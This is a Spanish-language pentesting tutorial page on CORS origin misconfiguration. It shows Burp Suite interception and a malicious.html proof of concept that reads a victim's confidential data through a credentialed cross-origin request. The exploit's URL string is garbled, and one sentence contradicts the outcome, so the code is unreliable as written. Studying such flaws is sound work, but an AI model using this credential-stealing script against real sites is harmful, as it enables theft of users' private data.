> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/cors-origin-pentesting-web.md).

# Configuración incorrecta de origen en CORS

### Compartición de recursos de origen cruzado (CORS):

Toda esta información está disponible en el sitio web:

<figure><img src="/files/6cc6ec6561ad92a4ed33ed354c5f2877ed70d419" alt="" width="563"><figcaption></figcaption></figure>

Lo interceptamos con Burp Suite y observamos que dos campos "**credenciales de control de acceso**" y "**origen**" están mal configurados en la respuesta:

<figure><img src="/files/29a6d0f81abe8c7bd7bf4b34a3b1dd1f1f8e85d7" alt=""><figcaption></figcaption></figure>

Añadimos un **nuevo campo origin** en la solicitud con el enlace de una página web, por ejemplo "google.com", y observamos que es aceptado:

<figure><img src="/files/c946bffe68c51d2119398e170a44a6824e296fa2" alt=""><figcaption></figcaption></figure>

Creamos un archivo web **malicious.html** que explota la vulnerabilidad con los campos origin y credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Has sido hackeado, esta es la información que te he robado</h1></center>
<p id="stolenInfo"></p>

```

Con **Python**, creamos un servidor web:

<figure><img src="/files/7b9509a8bc69ed1308e8f6b69b658225aea3c858" alt=""><figcaption></figcaption></figure>

Accedemos a nuestro sitio web y la información confidencial no ha sido **enviada a nuestro sitio**:

<figure><img src="/files/eb7b21979e72979cfdbea05f3808f5908b448f20" alt=""><figcaption></figcaption></figure>

Si CORS estuviera configurado correctamente, habríamos recibido el siguiente error:

<figure><img src="/files/6507cf50b0b6f4a5ad9c4a2f3816d19167834470" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
